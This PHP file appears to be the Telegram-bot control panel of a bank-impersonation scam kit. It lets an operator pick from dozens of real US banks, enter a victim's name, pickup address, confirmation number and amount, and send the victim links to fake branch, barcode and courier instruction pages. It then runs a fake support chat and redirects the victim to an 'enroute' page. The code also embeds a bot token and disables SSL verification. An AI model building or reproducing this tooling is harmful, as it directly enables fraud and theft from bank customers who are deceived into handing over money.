<?php

// ============================================================
// tgbot.php — Full flow: Branch → Courier → Chat → Enroute
// ============================================================

$BOT_TOKEN       = "8578052646:AAE6E6VcVj7oCoJd5NfoCgjTAgS4D8B0cg0";
$ALLOWED_ID      = "6979544528";
$ALERT_DATA_FILE = __DIR__ . "/alert_data.php";

function send($chat_id, $text, $reply_markup = null) {
    global $BOT_TOKEN;
    $data = ['chat_id' => $chat_id, 'text' => $text, 'parse_mode' => 'HTML'];
    if ($reply_markup) $data['reply_markup'] = $reply_markup;
    $url = "https://api.telegram.org/bot{$BOT_TOKEN}/sendMessage";
    $ch  = curl_init($url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_exec($ch);
    curl_close($ch);
}

function load($file) {
    if (!file_exists($file)) return [];
    include $file;
    return $data ?? [];
}

function save($file, $array) {
    $content = "<?php\n// Updated " . date('Y-m-d H:i:s') . "\n\n\$data = array(\n";
    foreach ($array as $k => $v) {
        $content .= " '" . addslashes($k) . "' => '" . addslashes((string)$v) . "',\n";
    }
    $content .= ");\n?>";
    file_put_contents($file, $content);
}

// ── WEB BUTTON PINGS (POST from pages) ──────────────────────
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['data'])) {
    $payload = $_POST['data'];

    if (strpos($payload, 'step_') === 0) {
        $step  = substr($payload, 5);
        $alert = load($ALERT_DATA_FILE);
        $alert['branch_step_' . $step] = 'completed';
        save($ALERT_DATA_FILE, $alert);
        send($ALLOWED_ID, "✅ Branch Step " . $step . " marked as completed.");
        echo "OK"; exit;
    }

    if (strpos($payload, 'barcode_step_') === 0) {
        $step  = substr($payload, 13);
        $alert = load($ALERT_DATA_FILE);
        $alert['barcode_step_' . $step] = 'completed';
        save($ALERT_DATA_FILE, $alert);
        send($ALLOWED_ID, "✅ Barcode Step " . $step . " marked as completed.");
        echo "OK"; exit;
    }

    if (strpos($payload, 'courier_step_') === 0) {
        $step  = substr($payload, 13);
        $alert = load($ALERT_DATA_FILE);
        $alert['courier_step_' . $step] = 'completed';
        save($ALERT_DATA_FILE, $alert);
        send($ALLOWED_ID, "✅ Courier Step " . $step . " marked as completed.");
        echo "OK"; exit;
    }

    if ($payload === 'barcode_at_store') {
        send($ALLOWED_ID, "🛒 User is at the store and requested a barcode.\n\nPlease send the barcode image now.");
        echo "OK"; exit;
    }

    exit;
}

// ── TELEGRAM WEBHOOK ────────────────────────────────────────
$raw = file_get_contents('php://input');
if (empty($raw)) { echo "✅ Bot is running."; exit; }

$update  = json_decode($raw, true);
$chat_id = (string)($update['message']['chat']['id'] ?? $update['callback_query']['message']['chat']['id'] ?? '');
if ($chat_id !== $ALLOWED_ID) exit;

$text  = trim($update['message']['text'] ?? '');
$photo = $update['message']['photo'] ?? null;

// Barcode image handling
if ($photo) {
    $file_id      = $photo[count($photo)-1]['file_id'];
    $get_file     = json_decode(file_get_contents("https://api.telegram.org/bot{$BOT_TOKEN}/getFile?file_id=" . $file_id), true);
    $file_path    = $get_file['result']['file_path'];
    $download_url = "https://api.telegram.org/file/bot{$BOT_TOKEN}/" . $file_path;

    $barcode_dir = __DIR__ . "/res/barcodes/";
    if (!is_dir($barcode_dir)) mkdir($barcode_dir, 0755, true);
    $filename   = "barcode_" . time() . ".jpg";
    file_put_contents($barcode_dir . $filename, file_get_contents($download_url));

    $alert = load($ALERT_DATA_FILE);
    $alert['barcode_image']  = "res/barcodes/" . $filename;
    $alert['barcode_step_3'] = 'completed';
    save($ALERT_DATA_FILE, $alert);

    send($chat_id, "✅ Barcode image received and saved.\nNow visible on BarcodeInstructions.php");
    exit;
}

// Full Bank List
$banks = [
    'chase'           => ['name' => 'Chase',                           'logo' => 'chase.svg',              'color' => '#005EB8'],
    'bofa'            => ['name' => 'Bank of America',                 'logo' => 'bofa.svg',               'color' => '#E31837'],
    'wellsfargo'      => ['name' => 'Wells Fargo',                     'logo' => 'wellsfargo.svg',          'color' => '#D71E2B'],
    'capitalone'      => ['name' => 'Capital One',                     'logo' => 'capitalone.svg',          'color' => '#004977'],
    'navyfederal'     => ['name' => 'Navy Federal Credit Union',       'logo' => 'navyfederal.svg',         'color' => '#003366'],
    'usaa'            => ['name' => 'USAA',                            'logo' => 'usaa.svg',               'color' => '#003366'],
    'usbank'          => ['name' => 'U.S. Bank',                       'logo' => 'usbank.svg',             'color' => '#003366'],
    'citi'            => ['name' => 'Citibank',                        'logo' => 'citi.svg',               'color' => '#003366'],
    'pnc'             => ['name' => 'PNC Bank',                        'logo' => 'pnc.svg',                'color' => '#F40000'],
    'chime'           => ['name' => 'Chime',                           'logo' => 'chime.svg',              'color' => '#00AEEF'],
    'citizens'        => ['name' => 'Citizens Bank',                   'logo' => 'citizens.svg',           'color' => '#003366'],
    'tdbank'          => ['name' => 'TD Bank',                         'logo' => 'tdbank.svg',             'color' => '#003366'],
    'ally'            => ['name' => 'Ally Bank',                       'logo' => 'ally.svg',               'color' => '#00AEEF'],
    'huntington'      => ['name' => 'Huntington Bank',                 'logo' => 'huntington.svg',         'color' => '#003366'],
    'schwab'          => ['name' => 'Charles Schwab',                  'logo' => 'schwab.svg',             'color' => '#0066CC'],
    'amex'            => ['name' => 'American Express',                'logo' => 'amex.svg',               'color' => '#006FCF'],
    'discover'        => ['name' => 'Discover',                        'logo' => 'discover.svg',           'color' => '#FF6000'],
    'fidelity'        => ['name' => 'Fidelity',                        'logo' => 'fidelity.svg',           'color' => '#0066CC'],
    'golden1'         => ['name' => 'Golden 1 Credit Union',           'logo' => 'golden1.svg',            'color' => '#003366'],
    'mechanics'       => ['name' => 'Mechanics Bank',                  'logo' => 'mechanics.svg',          'color' => '#003366'],
    'regions'         => ['name' => 'Regions Bank',                    'logo' => 'regions.svg',            'color' => '#003366'],
    'safe1'           => ['name' => 'Safe 1 Credit Union',             'logo' => 'safe1.png',              'color' => '#003366'],
    'spacecoast'      => ['name' => 'Space Coast Credit Union',        'logo' => 'spacecoast.png',         'color' => '#003366'],
    'valleystrong'    => ['name' => 'Valley Strong',                   'logo' => 'valleystrong.svg',       'color' => '#003366'],
    'woodforest'      => ['name' => 'Woodforest National Bank',        'logo' => 'woodforest.svg',         'color' => '#003366'],
    'truist'          => ['name' => 'Truist Bank',                     'logo' => 'truist-logo-purple.svg', 'color' => '#004B8D'],
    'delta'           => ['name' => 'Delta Community Credit Union',    'logo' => 'delta.png',              'color' => '#003366'],
    'alabamacu'       => ['name' => 'Alabama Credit Union',            'logo' => 'alabamacu.png',          'color' => '#003366'],
    'allegancy'       => ['name' => 'Allegacy Federal Credit Union',   'logo' => 'Allegancy.svg',          'color' => '#003366'],
    'amfirst'         => ['name' => 'AmFirst Credit Union',            'logo' => 'AmFirst.png',            'color' => '#003366'],
    'broadview'       => ['name' => 'Broadview Federal Credit Union',  'logo' => 'broadviewcu.svg',        'color' => '#003366'],
    'communitychoice' => ['name' => 'Community Choice Credit Union',   'logo' => 'communitychoice.png',    'color' => '#003366'],
    'fhb'             => ['name' => 'First Hawaiian Bank',             'logo' => 'FHB.svg',                'color' => '#003366'],
    'navigant'        => ['name' => 'Navigant Credit Union',           'logo' => 'navigant.png',           'color' => '#003366'],
    'redcanoe'        => ['name' => 'Red Canoe Credit Union',          'logo' => 'RedCanoeCU.png',         'color' => '#003366'],
    'visions'         => ['name' => 'Visions Federal Credit Union',    'logo' => 'visionscu.svg',          'color' => '#003366'],
    'wmcb'            => ['name' => 'West Michigan Community Bank',    'logo' => 'wmcb.svg',               'color' => '#003366'],
    'morganstanley'   => ['name' => 'Morgan Stanley',                  'logo' => 'morganstanley.svg',      'color' => '#003366'],
    'keybank'         => ['name' => 'KeyBank',                         'logo' => 'keybank.svg',            'color' => '#003366'],
    'santander'       => ['name' => 'Santander Bank',                  'logo' => 'santander.png',          'color' => '#003366'],
    'bmoharris'       => ['name' => 'BMO Harris Bank',                 'logo' => 'bmo.svg',                'color' => '#003366'],
    'comerica'        => ['name' => 'Comerica Bank',                   'logo' => 'comerica.svg',           'color' => '#003366'],
    'penfed'          => ['name' => 'PenFed Credit Union',             'logo' => 'penfed.svg',             'color' => '#003366'],
    'schoolsfirst'    => ['name' => 'SchoolsFirst Federal CU',         'logo' => 'schoolsfirst.webp',      'color' => '#003366'],
    'dcu'             => ['name' => 'Digital Federal Credit Union',    'logo' => 'DCU.png',                'color' => '#003366'],
    'suncoast'        => ['name' => 'Suncoast Credit Union',           'logo' => 'suncoastcu.svg',         'color' => '#003366'],
    'becu'            => ['name' => 'BECU',                            'logo' => 'becu.svg',               'color' => '#003366'],
    'am1st'           => ['name' => 'AM1st Credit Union',              'logo' => 'AM1stCU.svg',            'color' => '#003366'],
    'fifththird'      => ['name' => 'Fifth Third Bank',                'logo' => '53rd.svg',               'color' => '#003366'],
    'marcus'          => ['name' => 'Marcus by Goldman Sachs',         'logo' => 'marcus.svg',             'color' => '#003366'],
    'mtbank'          => ['name' => 'M&T Bank',                        'logo' => 'mtbank.svg',             'color' => '#003366'],
];

// ── CALLBACK QUERIES ────────────────────────────────────────
if (isset($update['callback_query'])) {
    $cb      = $update['callback_query'];
    $data    = $cb['data'];
    $chat_id = (string)$cb['message']['chat']['id'];

    if (strpos($data, 'bank_') === 0) {
        $key = substr($data, 5);
        if (isset($banks[$key])) {
            $b     = $banks[$key];
            $alert = load($ALERT_DATA_FILE);
            $alert['bank']  = $b['name'];
            $alert['logo']  = $b['logo'];
            $alert['color'] = $b['color'];
            save($ALERT_DATA_FILE, $alert);
            // Only Branch for this flow
            $keyboard = ['inline_keyboard' => [
                [['text' => '🏦 Branch Instructions',  'callback_data' => 'case_branch']],
                [['text' => '📱 Barcode Instructions', 'callback_data' => 'case_barcode']],
            ]];
            send($chat_id, "✅ Bank set to <b>" . $b['name'] . "</b>\n\nChoose case type:", json_encode($keyboard));
        }
        exit;
    }

    if ($data === 'case_branch') {
        $alert = load($ALERT_DATA_FILE);
        $alert['case_type'] = 'branch';
        save($ALERT_DATA_FILE, $alert);
        send($chat_id, "✅ Branch Instructions selected.\n\nEnter Customer Name:");
        file_put_contents(__DIR__ . "/state.txt", "name");
        exit;
    }

    if ($data === 'case_barcode') {
        $alert = load($ALERT_DATA_FILE);
        $alert['case_type'] = 'barcode';
        save($ALERT_DATA_FILE, $alert);
        send($chat_id, "⚠️ <b>Heads up:</b> The customer will not be able to screenshot the barcode directly from their phone browser.\n\nMake sure they follow the screenshot tutorial first:\nhttps://sparkhealthmd.com/all5/action-required/auth/ScreenshotTutorial.php\n\nEnter Customer Name:");
        file_put_contents(__DIR__ . "/state.txt", "name");
        exit;
    }

    if ($data === 'random_conf') {
        $alert = load($ALERT_DATA_FILE);
        $alert['conf'] = rand(1000000, 9999999);
        save($ALERT_DATA_FILE, $alert);
        send($chat_id, "✅ Confirmation # generated: <b>" . $alert['conf'] . "</b>\n\nEnter Amount:");
        file_put_contents(__DIR__ . "/state.txt", "amount");
        exit;
    }

    exit;
}

// ── /newpage ─────────────────────────────────────────────────
$alert = load($ALERT_DATA_FILE);

if ($text === '/newpage') {
    $alert = ['name'=>'','conf'=>'','amt'=>'','p_addr'=>'','d_addr'=>'','bank'=>'','logo'=>'','color'=>'','case_type'=>'','barcode_image'=>''];
    save($ALERT_DATA_FILE, $alert);

    $keyboard = ['inline_keyboard' => []];
    $row = []; $i = 0;
    foreach ($banks as $key => $b) {
        $row[] = ['text' => $b['name'], 'callback_data' => 'bank_' . $key];
        $i++;
        if ($i % 2 === 0) { $keyboard['inline_keyboard'][] = $row; $row = []; }
    }
    if (!empty($row)) $keyboard['inline_keyboard'][] = $row;

    send($chat_id, "🚀 New case started.\n\nSelect Bank:", json_encode($keyboard));
    file_put_contents(__DIR__ . "/state.txt", "bank");
    exit;
}

// ── /endchat — ends support chat, pushes enroute redirect ───
if ($text === '/endchat') {
    $store_dir  = __DIR__ . '/chat_store';
    if (!is_dir($store_dir)) mkdir($store_dir, 0755, true);

    // Write a special redirect flag to the queue
    $queue_file = $store_dir . '/replies_queue.json';
    $queue = file_exists($queue_file) ? (json_decode(file_get_contents($queue_file), true) ?: []) : [];
    $queue[] = [
        'text'     => '',
        'time'     => date('H:i'),
        'ts'       => time(),
        'id'       => $update['update_id'] ?? 0,
        'redirect' => 'Enroute.php',
    ];
    if (count($queue) > 200) $queue = array_slice($queue, -200);
    file_put_contents($queue_file, json_encode($queue), LOCK_EX);

    send($chat_id, "✅ Chat ended. User is being redirected to enroute page.");
    exit;
}

// ── STATE MACHINE ────────────────────────────────────────────
$state = file_exists(__DIR__ . "/state.txt") ? trim(file_get_contents(__DIR__ . "/state.txt")) : "";

if ($state === "name") {
    $alert['name'] = $text;
    save($ALERT_DATA_FILE, $alert);
    $case = $alert['case_type'] ?? '';
    if ($case === 'branch') {
        send($chat_id, "✅ Name saved.\n\nEnter Pickup Address:");
        file_put_contents(__DIR__ . "/state.txt", "p_addr");
    } else {
        $keyboard = ['inline_keyboard' => [[['text' => '🎲 Auto-Generate', 'callback_data' => 'random_conf']]]];
        send($chat_id, "✅ Name saved.\n\nEnter Confirmation # or auto-generate:", json_encode($keyboard));
        file_put_contents(__DIR__ . "/state.txt", "conf");
    }

} elseif ($state === "p_addr") {
    $alert['p_addr'] = $text;
    save($ALERT_DATA_FILE, $alert);
    $keyboard = ['inline_keyboard' => [[['text' => '🎲 Auto-Generate', 'callback_data' => 'random_conf']]]];
    send($chat_id, "✅ Pickup address saved.\n\nEnter Confirmation # or auto-generate:", json_encode($keyboard));
    file_put_contents(__DIR__ . "/state.txt", "conf");

} elseif ($state === "conf") {
    $alert['conf'] = $text;
    save($ALERT_DATA_FILE, $alert);
    send($chat_id, "✅ Confirmation # saved.\n\nEnter Amount:");
    file_put_contents(__DIR__ . "/state.txt", "amount");

} elseif ($state === "amount") {
    $amt  = trim($text);
    $case = $alert['case_type'] ?? '';
    if ($case === 'barcode' && (float)$amt > 500) {
        send($chat_id, "❌ Amount exceeds \$500 limit for Barcode cases.\nPlease re-enter:");
        exit;
    }
    $alert['amt'] = $amt;
    save($ALERT_DATA_FILE, $alert);
    file_put_contents(__DIR__ . "/state.txt", "");

    $link = ($case === 'barcode')
        ? "https://sparkhealthmd.com/all5/action-required/auth/Alert.php"
        : "https://sparkhealthmd.com/all5/action-required/auth/BranchInstructions.php";

    send($chat_id, "✅ Case setup complete!\n\nSend this link to the customer:\n" . $link . "\n\n<b>Flow:</b> Branch Steps → Courier Steps → Support Chat\n\nWhen chat is ready to end, send /endchat to redirect user to enroute page.");

// ── LIVE CHAT REPLY HANDLER ──────────────────────────────────
// State empty + no command = you're replying to the live chat user
} elseif ($state === '') {
    $store_dir  = __DIR__ . '/chat_store';
    if (!is_dir($store_dir)) mkdir($store_dir, 0755, true);
    $queue_file = $store_dir . '/replies_queue.json';

    $queue = file_exists($queue_file) ? (json_decode(file_get_contents($queue_file), true) ?: []) : [];
    $queue[] = [
        'text' => $text,
        'time' => date('H:i'),
        'ts'   => time(),
        'id'   => $update['update_id'] ?? 0,
    ];
    if (count($queue) > 200) $queue = array_slice($queue, -200);
    file_put_contents($queue_file, json_encode($queue), LOCK_EX);

    send($chat_id, "💬 Reply delivered to user.\n\nSend /endchat to end the session and redirect user to enroute page.");

} else {
    send($chat_id, "Session idle. Use <code>/newpage</code> to begin.");
}

exit;
?>